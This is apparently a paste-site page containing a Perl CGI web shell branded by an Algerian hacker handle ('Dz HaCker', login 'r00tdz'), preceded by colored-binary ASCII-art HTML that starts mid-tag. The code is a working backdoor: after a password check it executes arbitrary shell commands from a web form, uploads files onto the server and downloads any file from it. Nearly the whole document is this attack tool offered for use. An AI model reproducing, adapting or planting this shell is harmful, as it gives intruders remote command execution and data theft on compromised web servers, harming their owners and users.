color=#f4f4f6>1</font><font color=#f1f1f3>0</font><font color=#eeeef0>0</font><font color=#f0f0f2>1</font><font color=#f6f6f6>1</font><font color=#f4f4f4>0</font><font color=#f1f1f3>10</font><font color=#f5f5f6>1</font><font color=#f6f6f6>1</font><font color=#f5f5f7>01</font><font color=#f1f1f3>0</font><font color=#ececee>1</font><font color=#ededef>01</font><font color=#ececee>11</font><font color=#ebebed>1</font><font color=#f5f5f6>0</font><font color=#535354>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#0a1c08>1</font><font color=#338c2a>0</font><font color=#235f1c>1</font><font color=#23601c>0</font><font color=#276721>0</font><font color=#24611e>1</font><font color=#1f571b>1</font><font color=#20551a>0</font><font color=#225a1d>1</font><font color=#286220>0</font><font color=#2a6723>1</font><font color=#2d6e28>0</font><font color=#31762e>1</font><font color=#30702b>1</font><font color=#32752e>0</font><font color=#33732e>1</font><font color=#33752f>0</font><font color=#33742f>0</font><font color=#31702d>1</font><font color=#336f2d>1</font><font color=#347530>00</font><font color=#347631>1</font><font color=#476b2d>0</font><font color=#b32615>0</font><font color=#d30d0e>0</font><font color=#d00c0c>0</font><font color=#d10b0b>0</font><font color=#cc0a0b>0</font><font color=#b9130d>1</font><font color=#674d1e>1</font><font color=#30752b>0</font><font color=#2f782d>0</font><font color=#2e742a>1</font><font color=#2b7026>0</font><font color=#296b24>0</font><font color=#b6c6ae>1</font><font color=#fbf5f4>1</font><font color=#fbfbfb>10</font><font color=#f8f9f9>1</font><font color=#f6f1f2>1</font><font color=#e7b3b2>1</font><font color=#dd6d6e>0</font><font color=#f8f8f9>0</font><font color=#f4f5f5>1</font><font color=#f8f7f7>0</font><font color=#f8f7f8>1</font><font color=#f9f9f9>1</font><font color=#f8f8f9>0</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f0f0f2>0</font><font color=#eeeef0>100</font><font color=#f2f2f4>1</font><font color=#f0f0f2>1</font><font color=#ededef>0</font><font color=#f0f0f2>0</font><font color=#f2f2f2>1</font><font color=#f4f4f4>1</font><font color=#f2f2f4>1</font><font color=#efeff1>1</font><font color=#ececee>1</font><font color=#e7e7e9>0</font><font color=#e6e6e8>0</font><font color=#e9e9eb>0</font><font color=#eaeaec>01</font><font color=#ebebed>0</font><font color=#f4f4f5>0</font><font color=#525253>1</font><font color=black>0</font><br><font color=black>1</font><font color=#0a1b08>0</font><font color=#2c7b23>1</font><font color=#1e5519>1</font><font color=#1e5418>1</font><font color=#1f551a>0</font><font color=#1f5519>1</font><font color=#1d5317>0</font><font color=#1a4b14>1</font><font color=#1c5016>1</font><font color=#1e5418>1</font><font color=#225b1b>1</font><font color=#24631e>1</font><font color=#276922>1</font><font color=#2a7126>0</font><font color=#2c7629>0</font><font color=#2b7328>1</font><font color=#2c7027>0</font><font color=#276921>0</font><font color=#25641f>0</font><font color=#25651f>1</font><font color=#26661f>1</font><font color=#26651f>0</font><font color=#286c24>0</font><font color=#2b752a>1</font><font color=#397128>0</font><font color=#823813>0</font><font color=#c00b04>0</font><font color=#d30201>0</font><font color=#d10101>1</font><font color=#cb0102>1</font><font color=#c80302>1</font><font color=#a41d0b>1</font><font color=#5f4416>0</font><font color=#396020>1</font><font color=#2c6922>0</font><font color=#266621>1</font><font color=#b7ceb5>0</font><font color=#fcfcfc>1</font><font color=#f8f8f9>0</font><font color=#f6f6f6>0</font><font color=#f6f7f7>0</font><font color=#f6f6f8>0</font><font color=#f3f4f6>0</font><font color=#f3f2f4>0</font><font color=#f4f0ef>1</font><font color=#f1dddd>0</font><font color=#eecaca>1</font><font color=#f4e2e1>1</font><font color=#f9fafa>1</font><font color=#f3f3f5>1</font><font color=#efeff2>0</font><font color=#eeeff0>1</font><font color=#eeeef0>0</font><font color=#f0f0f2>111</font><font color=#eeeef0>1</font><font color=#efeff1>0</font><font color=#ebebed>1</font><font color=#eeeef0>0</font><font color=#f1f1f3>1</font><font color=#f2f2f4>0</font><font color=#ededef>1</font><font color=#e6e6e8>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>1</font><font color=#e7e7e9>0</font><font color=#e9e9eb>0</font><font color=#ededef>1</font><font color=#ebeaee>0</font><font color=#e9e9eb>0</font><font color=#f4f4f4>0</font><font color=#525253>0</font><font color=black>0</font><br><font color=black>0</font><font color=#081806>0</font><font color=#276d1d>0</font><font color=#1b4d15>0</font><font color=#1a4b13>1</font><font color=#1d5018>1</font><font color=#1a4a13>0</font><font color=#1b4d15>0</font><font color=#1e5318>1</font><font color=#1f5619>0</font><font color=#1f5819>0</font><font color=#205a1b>1</font><font color=#225e1d>1</font><font color=#23621e>0</font><font color=#286922>1</font><font color=#286c23>1</font><font color=#296f25>0</font><font color=#286d25>1</font><font color=#286a23>1</font><font color=#23611d>1</font><font color=#23631d>1</font><font color=#24621e>0</font><font color=#266621>1</font><font color=#286a23>1</font><font color=#296d24>1</font><font color=#2b7328>1</font><font color=#2c7327>1</font><font color=#3f5e20>0</font><font color=#793f15>1</font><font color=#aa1c0a>1</font><font color=#c60704>1</font><font color=#c80101>1</font><font color=#c30101>0</font><font color=#be0101>0</font><font color=#b60a04>0</font><font color=#9d1b09>0</font><font color=#832e10>1</font><font color=#c5776a>1</font><font color=#eba3a2>0</font><font color=#e8afaf>0</font><font color=#e8b4b3>0</font><font color=#e4aeaf>1</font><font color=#e0a1a1>0</font><font color=#dc8b8a>0</font><font color=#db8180>1</font><font color=#da8d8d>1</font><font color=#eab8b8>0</font><font color=#f5e9ea>1</font><font color=#f8f9f9>1</font><font color=#f9f9f9>0</font><font color=#f4f5f6>1</font><font color=#f0f0f2>0</font><font color=#f2f2f4>01</font><font color=#efeff1>0</font><font color=#f0f0f2>01</font><font color=#ececee>0</font><font color=#ededef>1</font><font color=#eeeef0>1</font><font color=#f0f0f2>01</font><font color=#efeff1>1</font><font color=#eaeaed>1</font><font color=#e2e2e6>1</font><font color=#e2e1e6>00</font><font color=#e5e5e9>1</font><font color=#e6e6e8>01</font><font color=#e6e6e9>1</font><font color=#e8e8ea>1</font><font color=#f4f3f5>0</font><font color=#525153>0</font><font color=black>1</font><br><font color=black>0</font><font color=#081605>0</font><font color=#26691c>1</font><font color=#194912>0</font><font color=#1a4c14>0</font><font color=#184814>1</font><font color=#174512>0</font><font color=#174310>0</font><font color=#1c4f16>1</font><font color=#20591a>0</font><font color=#215c1c>1</font><font color=#1f581a>1</font><font color=#225d1d>1</font><font color=#235f1d>1</font><font color=#225e1c>1</font><font color=#23601d>0</font><font color=#24621f>11</font><font color=#24611f>0</font><font color=#225f1d>1</font><font color=#225e1d>1</font><font color=#215d1c>0</font><font color=#205c1b>0</font><font color=#23621d>1</font><font color=#25631f>1</font><font color=#25641f>0</font><font color=#256822>0</font><font color=#276922>1</font><font color=#296c24>0</font><font color=#2f6f25>1</font><font color=#3c6622>0</font><font color=#524816>0</font><font color=#6a3310>1</font><font color=#7f270c>1</font><font color=#99200b>1</font><font color=#a51809>1</font><font color=#a91408>1</font><font color=#c92321>0</font><font color=#d13030>1</font><font color=#d13e3f>1</font><font color=#d65353>0</font><font color=#d56f6f>1</font><font color=#db9192>1</font><font color=#ebc0c2>0</font><font color=#efe0e1>0</font><font color=#efeef0>0</font><font color=#f6f6f7>1</font><font color=#f7f6f7>1</font><font color=#f7f7f7>1</font><font color=#f9f9fa>1</font><font color=#f7f7f8>0</font><font color=#f3f3f5>1</font><font color=#f0f0f2>1</font><font color=#f2f2f4>1</font><font color=#f1f1f3>11</font><font color=#f0f0f3>0</font><font color=#ededef>0</font><font color=#e9e9eb>11</font><font color=#eaeaec>1</font><font color=#e9e9eb>10</font><font color=#e6e6e8>0</font><font color=#e5e5e7>1</font><font color=#e6e5e8>0</font><font color=#e5e5e8>0</font><font color=#e7e7ea>1</font><font color=#e8e8ea>1</font><font color=#e4e4e6>0</font><font color=#e5e5e7>0</font><font color=#e6e6e8>1</font><font color=#f3f3f5>0</font><font color=#525153>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#081505>0</font><font color=#216216>1</font><font color=#174410>0</font><font color=#15410f>1</font><font color=#16410f>1</font><font color=#174211>0</font><font color=#164110>1</font><font color=#184913>0</font><font color=#1e561a>1</font><font color=#1f581b>0</font><font color=#1f571b>0</font><font color=#1e5519>0</font><font color=#205a1b>1</font><font color=#225f1d>0</font><font color=#245f1e>0</font><font color=#205a1b>1</font><font color=#1e5719>1</font><font color=#1e5418>0</font><font color=#1e571a>1</font><font color=#1e591a>0</font><font color=#225d1c>1</font><font color=#215d1b>1</font><font color=#215d1c>0</font><font color=#215c1c>0</font><font color=#23601d>0</font><font color=#24611e>1</font><font color=#25621f>0</font><font color=#266720>0</font><font color=#286821>1</font><font color=#25631f>0</font><font color=#235f1d>1</font><font color=#286c23>0</font><font color=#296d25>0</font><font color=#276b24>0</font><font color=#276822>1</font><font color=#24621d>1</font><font color=#b3c6b0>1</font><font color=#f8f7f8>0</font><font color=#f7f7f8>0</font><font color=#f7f7f7>0</font><font color=#f2f2f3>0</font><font color=#f2f2f4>1</font><font color=#f2f1f3>0</font><font color=#f0f1f3>1</font><font color=#f3f3f5>0</font><font color=#f4f4f5>1</font><font color=#f1f1f3>1</font><font color=#f4f4f4>0</font><font color=#f6f6f7>1</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>0</font><font color=#ececee>1</font><font color=#ebebed>1</font><font color=#f0f0f2>0</font><font color=#ededef>0</font><font color=#e9e9eb>1</font><font color=#e5e5e7>1</font><font color=#e6e6e8>01</font><font color=#e7e7e9>0</font><font color=#eaeaec>01</font><font color=#ebebed>1</font><font color=#eaeaec>0</font><font color=#e8e8ea>1</font><font color=#e6e6e8>1</font><font color=#e7e7e9>1</font><font color=#e4e4e6>01</font><font color=#e3e3e6>1</font><font color=#f2f2f3>1</font><font color=#515052>1</font><font color=black>0</font><br><font color=black>1</font><font color=#051104>0</font><font color=#1a5411>0</font><font color=#133b0d>0</font><font color=#123b0d>1</font><font color=#164110>0</font><font color=#174211>1</font><font color=#174010>0</font><font color=#164410>1</font><font color=#1c4f16>0</font><font color=#1d5318>1</font><font color=#1d5518>0</font><font color=#1e5418>0</font><font color=#1e571a>0</font><font color=#225d1c>0</font><font color=#23601d>1</font><font color=#215e1d>0</font><font color=#1f5719>1</font><font color=#1d4f16>0</font><font color=#1c5016>1</font><font color=#205a1b>1</font><font color=#225c1c>1</font><font color=#23601d>0</font><font color=#23611f>0</font><font color=#215b1b>1</font><font color=#235f1e>0</font><font color=#23611e>1</font><font color=#235f1d>0</font><font color=#25661f>0</font><font color=#21591b>0</font><font color=#225a1c>0</font><font color=#286c24>1</font><font color=#276821>1</font><font color=#266420>0</font><font color=#215b1b>01</font><font color=#215d1b>0</font><font color=#b6c9b5>1</font><font color=#f9f9fa>1</font><font color=#f5f5f6>01</font><font color=#f4f4f5>01</font><font color=#f0f0f2>0</font><font color=#eeeef0>0</font><font color=#f0f0f2>011</font><font color=#eeeef0>0</font><font color=#f0f0f2>0</font><font color=#efeff1>0</font><font color=#eeeef0>0</font><font color=#ececee>1</font><font color=#e7e7e9>1</font><font color=#e6e6e8>1</font><font color=#e9e9eb>0</font><font color=#eaeaec>0</font><font color=#e8e8e9>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>0</font><font color=#e6e6e8>0</font><font color=#e7e7e9>0</font><font color=#e9e9eb>1</font><font color=#ebebed>0</font><font color=#ececee>1</font><font color=#e8e8ea>11</font><font color=#e9e9eb>0</font><font color=#e7e7ea>1</font><font color=#e5e5e8>10</font><font color=#e5e5e7>1</font><font color=#e1e1e3>1</font><font color=#38383a>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#040e02>1</font><font color=#12430a>1</font><font color=#0a2906>1</font><font color=#0d2f07>1</font><font color=#12380c>0</font><font color=#153e0e>0</font><font color=#12380c>0</font><font color=#123a0c>1</font><font color=#174210>1</font><font color=#184611>1</font><font color=#194913>1</font><font color=#194713>1</font><font color=#1c4f17>0</font><font color=#1e5317>0</font><font color=#1d5318>0</font><font color=#1f551b>1</font><font color=#1c5016>1</font><font color=#194813>1</font><font color=#164411>0</font><font color=#194713>1</font><font color=#194913>1</font><font color=#1a4c15>0</font><font color=#1c4d16>1</font><font color=#1b4c14>1</font><font color=#1c5117>0</font><font color=#1c5217>1</font><font color=#1b4f16>1</font><font color=#1a4c14>1</font><font color=#1e5419>0</font><font color=#215d1c>1</font><font color=#205b1b>0</font><font color=#1f5719>1</font><font color=#1d5117>0</font><font color=#1b4d16>1</font><font color=#1b4e15>1</font><font color=#1d5418>1</font><font color=#adbfae>1</font><font color=#f5f4f7>1</font><font color=#f4f4f6>0</font><font color=#f3f3f5>0</font><font color=#f2f2f4>0</font><font color=#f1f1f3>1</font><font color=#efeff1>1</font><font color=#eaeaec>0</font><font color=#ececee>1</font><font color=#ededef>1</font><font color=#ecebee>1</font><font color=#ececee>11</font><font color=#eeeef0>1</font><font color=#eaeaec>1</font><font color=#e9e9eb>1</font><font color=#e7e7e9>0</font><font color=#e6e6e8>01</font><font color=#e7e7e9>0</font><font color=#e9e9eb>0</font><font color=#ebebed>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>0</font><font color=#e6e6e8>0</font><font color=#e5e5e8>0</font><font color=#e4e4e6>0</font><font color=#ebebee>0</font><font color=#ebeaed>1</font><font color=#e8e8ea>1</font><font color=#e4e3e7>0</font><font color=#e1e0e6>1</font><font color=#e3e2e7>1</font><font color=#e5e4e9>1</font><font color=#dddde0>1</font><font color=#737374>0</font><font color=#030303>1</font><font color=black>1</font><br><font color=#010000>0</font><font color=#020a01>0</font><font color=#0b3507>1</font><font color=#072406>0</font><font color=#0a2b06>1</font><font color=#0d3008>0</font><font color=#11380b>0</font><font color=#113a0b>1</font><font color=#15400d>1</font><font color=#16410e>1</font><font color=#16420e>1</font><font color=#14400d>1</font><font color=#143f0e>1</font><font color=#174611>0</font><font color=#194c13>0</font><font color=#1b4f15>0</font><font color=#1e5718>1</font><font color=#1f5718>0</font><font color=#1a4f13>0</font><font color=#1a4b11>0</font><font color=#194b12>0</font><font color=#194a12>0</font><font color=#16430f>001</font><font color=#1c5115>0</font><font color=#1b5115>0</font><font color=#1b5015>1</font><font color=#205a18>1</font><font color=#205a1a>0</font><font color=#1a4d12>1</font><font color=#1a4f14>0</font><font color=#1c5216>0</font><font color=#205919>0</font><font color=#1b5115>0</font><font color=#1c5315>1</font><font color=#1f5a18>0</font><font color=#afc3af>1</font><font color=#f0f0f2>1</font><font color=#efeff1>10</font><font color=#eeeef0>1</font><font color=#efeff1>1</font><font color=#f1f1f3>1</font><font color=#eaeaed>0</font><font color=#ebeaee>0</font><font color=#eaeaed>1</font><font color=#ececed>1</font><font color=#ebebed>0</font><font color=#ececee>1</font><font color=#eeeeef>1</font><font color=#ececee>0</font><font color=#eaeaec>0</font><font color=#e8e8ea>0</font><font color=#e6e6e9>0</font><font color=#e9e9ea>1</font><font color=#eaeaec>1</font><font color=#e9e9eb>0</font><font color=#e8e8ea>0</font><font color=#eaeaeb>1</font><font color=#e3e2e5>1</font><font color=#e3e2e7>0</font><font color=#e4e3e8>0</font><font color=#e6e5e9>10</font><font color=#e6e6e9>1</font><font color=#e2e1e4>1</font><font color=#d9d9db>1</font><font color=#d2d1d5>1</font><font color=#b9b8bb>0</font><font color=#808081>1</font><font color=#2d2d2e>0</font><font color=#020202>0</font><font color=black>10</font><br><font color=black>0</font><font color=#010301>1</font><font color=#020e02>0</font><font color=#010b01>1</font><font color=#020b02>1</font><font color=#030e02>1</font><font color=#051203>1</font><font color=#051403>0</font><font color=#071604>0</font><font color=#061404>1</font><font color=#051304>1</font><font color=#041203>0</font><font color=#051204>0</font><font color=#061504>0</font><font color=#071705>0</font><font color=#091b07>1</font><font color=#091b06>1</font><font color=#0a1d07>0</font><font color=#081906>0</font><font color=#081805>0</font><font color=#0a1b07>0</font><font color=#091a06>0</font><font color=#071705>1</font><font color=#061604>0</font><font color=#081705>1</font><font color=#0a1b07>0</font><font color=#091b07>0</font><font color=#0a1c08>1</font><font color=#0b1f08>0</font><font color=#0a1d08>0</font><font color=#081a06>0</font><font color=#091a05>0</font><font color=#091b07>1</font><font color=#0a1c07>0</font><font color=#091b08>1</font><font color=#0a1c07>0</font><font color=#0a1e08>0</font><font color=#3b413b>0</font><font color=#4d4d4d>0</font><font color=#4c4c4d>1</font><font color=#4b4b4d>00</font><font color=#4d4c4d>0</font><font color=#4d4d4d>1</font><font color=#4b4b4c>0</font><font color=#4a4a4b>0</font><font color=#4c4c4c>0</font><font color=#4c4c4d>1</font><font color=#4b4b4c>100</font><font color=#4c4c4d>1</font><font color=#4c4c4c>1</font><font color=#4c4b4d>00</font><font color=#4c4b4c>1</font><font color=#4b4b4c>0</font><font color=#4c4c4d>1</font><font color=#4b4b4b>0</font><font color=#4b4b4c>0</font><font color=#4a4a4b>1</font><font color=#49494b>0</font><font color=#4a4a4b>00</font><font color=#4a494a>0</font><font color=#4a494b>0</font><font color=#3f3e40>1</font><font color=#2e2e2e>0</font><font color=#1d1d1d>1</font><font color=#0a0a0a>0</font><font color=#010101>1</font><font color=black>0101</font><br>
- </pre></font>
- </td></tr>
- </table><pre><br />
- $;
- #'
- print <<END;
- <code class="shadow">
- Tested ~ <font color="white">$ServerName</font>...<br>
- Successfully Connected 2 <font color="white">$ServerName</font> =) !!<br />
- ~Dz HaCker Fr0m Relizane !!~
- <code>$Message
- END
- }
- #------------------------------------------------------------------------------
- # Prints the message that informs the user of a failed login
- #------------------------------------------------------------------------------
- sub PrintLoginFailedMessage
- {
- print <<END;
- <code>
- <br>login: r00tdz<br />
- password:<br>
- Login incorrect<br><br>
- </code>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form for logging in
- #------------------------------------------------------------------------------
- sub PrintLoginForm
- {
- print <<END;
- <code>
- <form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="a" value="login">
- login: r00tdz<br>
- password:<input class="xdz" type="password" name="p" value="dz" />
- <input class="crewdz" type="submit" value="LoG!n">
- </form>
- </code><br /><br />
- END
- }
- #------------------------------------------------------------------------------
- # Prints the footer for the HTML Page
- #------------------------------------------------------------------------------
- sub PrintPageFooter
- {
- print "</font></body></html>";
- }
- #------------------------------------------------------------------------------
- # Retreives the values of all cookies. The cookies can be accesses using the
- # variable $Cookies{''}
- #------------------------------------------------------------------------------
- sub GetCookies
- {
- @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
- foreach $cookie(@httpcookies)
- {
- ($id, $val) = split(/=/, $cookie);
- $Cookies{$id} = $val;
- }
- }
- #------------------------------------------------------------------------------
- # Prints the screen when the user logs out
- #------------------------------------------------------------------------------
- sub PrintLogoutScreen
- {
- print "<code>LogOut Successfully ! :).<br><br></code>";
- }
- #------------------------------------------------------------------------------
- # Logs out the user and allows the user to login again
- #------------------------------------------------------------------------------
- sub PerformLogout
- {
- print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
- &PrintPageHeader("p");
- &PrintLogoutScreen;
- &PrintLoginScreen;
- &PrintLoginForm;
- &PrintPageFooter;
- }
- #------------------------------------------------------------------------------
- # This function is called to login the user. If the password matches, it
- # displays a page that allows the user to run commands. If the password doens't
- # match or if no password is entered, it displays a form that allows the user
- # to login
- #------------------------------------------------------------------------------
- sub PerformLogin
- {
- if($LoginPassword eq $Password) # password matched
- {
- print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
- &PrintPageHeader("c");
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- else # password didn't match
- {
- &PrintPageHeader("p");
- &PrintLoginScreen;
- if($LoginPassword ne "") # some password was entered
- {
- &PrintLoginFailedMessage;
- }
- &PrintLoginForm;
- &PrintPageFooter;
- }
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to enter commands
- #------------------------------------------------------------------------------
- sub PrintCommandLineInputForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
- print <<END;
- <code>
- <form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="a" value="command">
- <input type="hidden" name="d" value="$CurrentDir">
- $Prompt
- <input type="text" name="c">
- <input class="crewdz" type="submit" value="Execute">
- </form>
- </code>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to download files
- #------------------------------------------------------------------------------
- sub PrintFileDownloadForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
- print <<END;
- <code>
- <form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="d" value="$CurrentDir">
- <input type="hidden" name="a" value="download">
- $Prompt download<br><br>
- Filename: <input type="text" name="f" size="35"><br><br>
- Download: <input class="crewdz" type="submit" value="BeG!n">
- </form>
- </code>
- END
- }
- #------------------------------------------------------------------------------
- # Prints the HTML form that allows the user to upload files
- #------------------------------------------------------------------------------
- sub PrintFileUploadForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
- print <<END;
- <code>
- <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
- $Prompt upload<br><br>
- Filename: <input type="file" name="f" size="35"><br><br>
- Options: <input type="checkbox" name="o" value="overwrite">
- Overwrite if it Exists<br><br>
- Upload: <input class="crewdz" type="submit" value="BeG!n">
- <input type="hidden" name="d" value="$CurrentDir">
- <input type="hidden" name="a" value="upload">
- </form>
- </code>
- END
- }
- #------------------------------------------------------------------------------
- # This function is called when the timeout for a command expires. We need to
- # terminate the script immediately. This function is valid only on Unix. It is
- # never called when the script is running on NT.
- #------------------------------------------------------------------------------
- sub CommandTimeout
- {
- if(!$WinNT)
- {
- alarm(0);
- print <<END;
- </xmp>
- <code>
- Command exceeded maximum time of $CommandTimeoutDuration second(s).
- <br>Killed it!
- <code>
- END
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- exit;
- }
- }
- #------------------------------------------------------------------------------
- # This function is called to execute commands. It displays the output of the
- # command and allows the user to enter another command. The change directory
- # command is handled differently. In this case, the new directory is stored in
- # an internal variable and is used each time a command has to be executed. The
- # output of the change directory command is not displayed to the users
- # therefore error messages cannot be displayed.
- #------------------------------------------------------------------------------
- sub ExecuteCommand
- {
- if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
- {
- # we change the directory internally. The output of the
- # command is not displayed.
- $OldDir = $CurrentDir;
- $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
- chop($CurrentDir = `$Command`);
- &PrintPageHeader("c");
- $Prompt = $WinNT ? "$OldDir> " : "[r00tdz\@<font color=white>$ServerName</font> $OldDir]\$ ";
- print "<code>$Prompt $RunCommand</code>";
- }
- else # some other command, display the output
- {
- &PrintPageHeader("c");
- $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
- print "<code>$Prompt $RunCommand</code><xmp>";
- $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
- if(!$WinNT)
- {
- $SIG{'ALRM'} = \&CommandTimeout;
- alarm($CommandTimeoutDuration);
- }
- if($ShowDynamicOutput) # show output as it is generated
- {
- $|=1;
- $Command .= " |";
- open(CommandOutput, $Command);
- while(<CommandOutput>)
- {
- $_ =~ s/(\n|\r\n)$//;
- print "$_\n";
- }
- $|=0;
- }
- else # show output after command completes
- {
- print `$Command`;
- }
- if(!$WinNT)
- {
- alarm(0);
- }
- print "</xmp>";
- }
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- #------------------------------------------------------------------------------
- # This function displays the page that contains a link which allows the user
- # to download the specified file. The page also contains a auto-refresh
- # feature that starts the download automatically.
- # Argument 1: Fully qualified filename of the file to be downloaded
- #------------------------------------------------------------------------------
- sub PrintDownloadLinkPage
- {
- local($FileUrl) = @_;
- if(-e $FileUrl) # if the file exists
- {
- # encode the file link so we can send it to the browser
- $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
- $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
- $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
- &PrintPageHeader("c");
- print <<END;
- <code>
- Sending File $TransferFile...<br>
- If the download does not start automatically,
- <a href="$DownloadLink">Click Here</a>.
- </code>
- END
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- else # file doesn't exist
- {
- &PrintPageHeader("f");
- print "<code>Failed to download $FileUrl: $!</code>";
- &PrintFileDownloadForm;
- &PrintPageFooter;
- }
- }
- #------------------------------------------------------------------------------
- # This function reads the specified file from the disk and sends it to the
- # browser, so that it can be downloaded by the user.
- # Argument 1: Fully qualified pathname of the file to be sent.
- #------------------------------------------------------------------------------
- sub SendFileToBrowser
- {
- local($SendFile) = @_;
- if(open(SENDFILE, $SendFile)) # file opened for reading
- {
- if($WinNT)
- {
- binmode(SENDFILE);
- binmode(STDOUT);
- }
- $FileSize = (stat($SendFile))[7];
- ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
- print "Content-Type: application/x-unknown\n";
- print "Content-Length: $FileSize\n";
- print "Content-Disposition: attachment; filename=$1\n\n";
- print while(<SENDFILE>);
- close(SENDFILE);
- }
- else # failed to open file
- {
- &PrintPageHeader("f");
- print "<code>Failed to download $SendFile: $!</code>";
- &PrintFileDownloadForm;
- &PrintPageFooter;
- }
- }
- #------------------------------------------------------------------------------
- # This function is called when the user downloads a file. It displays a message
- # to the user and provides a link through which the file can be downloaded.
- # This function is also called when the user clicks on that link. In this case,
- # the file is read and sent to the browser.
- #------------------------------------------------------------------------------
- sub BeginDownload
- {
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
- (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- &PrintDownloadLinkPage($TargetFile);
- }
- }
- #------------------------------------------------------------------------------
- # This function is called when the user wants to upload a file. If the
- # file is not specified, it displays a form allowing the user to specify a
- # file, otherwise it starts the upload process.
- #------------------------------------------------------------------------------
- sub UploadFile
- {
- # if no file is specified, print the upload form again
- if($TransferFile eq "")
- {
- &PrintPageHeader("f");
- &PrintFileUploadForm;
- &PrintPageFooter;
- return;
- }
- &PrintPageHeader("c");
- # start the uploading process
- print "<code>Uploading $TransferFile to $CurrentDir...<br>";
- # get the fullly qualified pathname of the file to be created
- chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
- $TransferFile =~ m!([^/^\\]*)$!;
- $TargetName .= $PathSep.$1;
- $TargetFileSize = length($in{'filedata'});
- # if the file exists and we are not supposed to overwrite it
- if(-e $TargetName && $Options ne "overwrite")
- {
- print "Failed: Destination file already exists.<br>";
- }
- else # file is not present
- {
- if(open(UPLOADFILE, ">$TargetName"))
- {
- binmode(UPLOADFILE) if $WinNT;
- print UPLOADFILE $in{'filedata'};
- close(UPLOADFILE);
- print "Transfered $TargetFileSize Bytes.<br>";
- print "File Path: $TargetName<br>";
- }
- else
- {
- print "Failed: $!<br>";
- }
- }
- print "</code>";
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- #------------------------------------------------------------------------------
- # This function is called when the user wants to download a file. If the
- # filename is not specified, it displays a form allowing the user to specify a
- # file, otherwise it displays a message to the user and provides a link
- # through which the file can be downloaded.
- #------------------------------------------------------------------------------
- sub DownloadFile
- {
- # if no file is specified, print the download form again
- if($TransferFile eq "")
- {
- &PrintPageHeader("f");
- &PrintFileDownloadForm;
- &PrintPageFooter;
- return;
- }
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
- (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- &PrintDownloadLinkPage($TargetFile);
- }
- }
- #------------------------------------------------------------------------------
- # Main Program - Execution Starts Here
- #------------------------------------------------------------------------------
- &ReadParse;
- &GetCookies;
- $ScriptLocation = $ENV{'SCRIPT_NAME'};
- $ServerName = $ENV{'SERVER_NAME'};
- $LoginPassword = $in{'p'};
- $RunCommand = $in{'c'};
- $TransferFile = $in{'f'};
- $Options = $in{'o'};
- $Action = $in{'a'};
- $Action = "login" if($Action eq ""); # no action specified, use default
- # get the directory in which the commands will be executed
- $CurrentDir = $in{'d'};
- chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
- $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
- if($Action eq "login" || !$LoggedIn) # user needs/has to login
- {
- &PerformLogin;
- }
- elsif($Action eq "command") # user wants to run a command
- {
- &ExecuteCommand;
- }
- elsif($Action eq "upload") # user wants to upload a file
- {
- &UploadFile;
- }
- elsif($Action eq "download") # user wants to download a file
- {
- &DownloadFile;
- }
- elsif($Action eq "logout") # user wants to logout
- {
- &PerformLogout;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement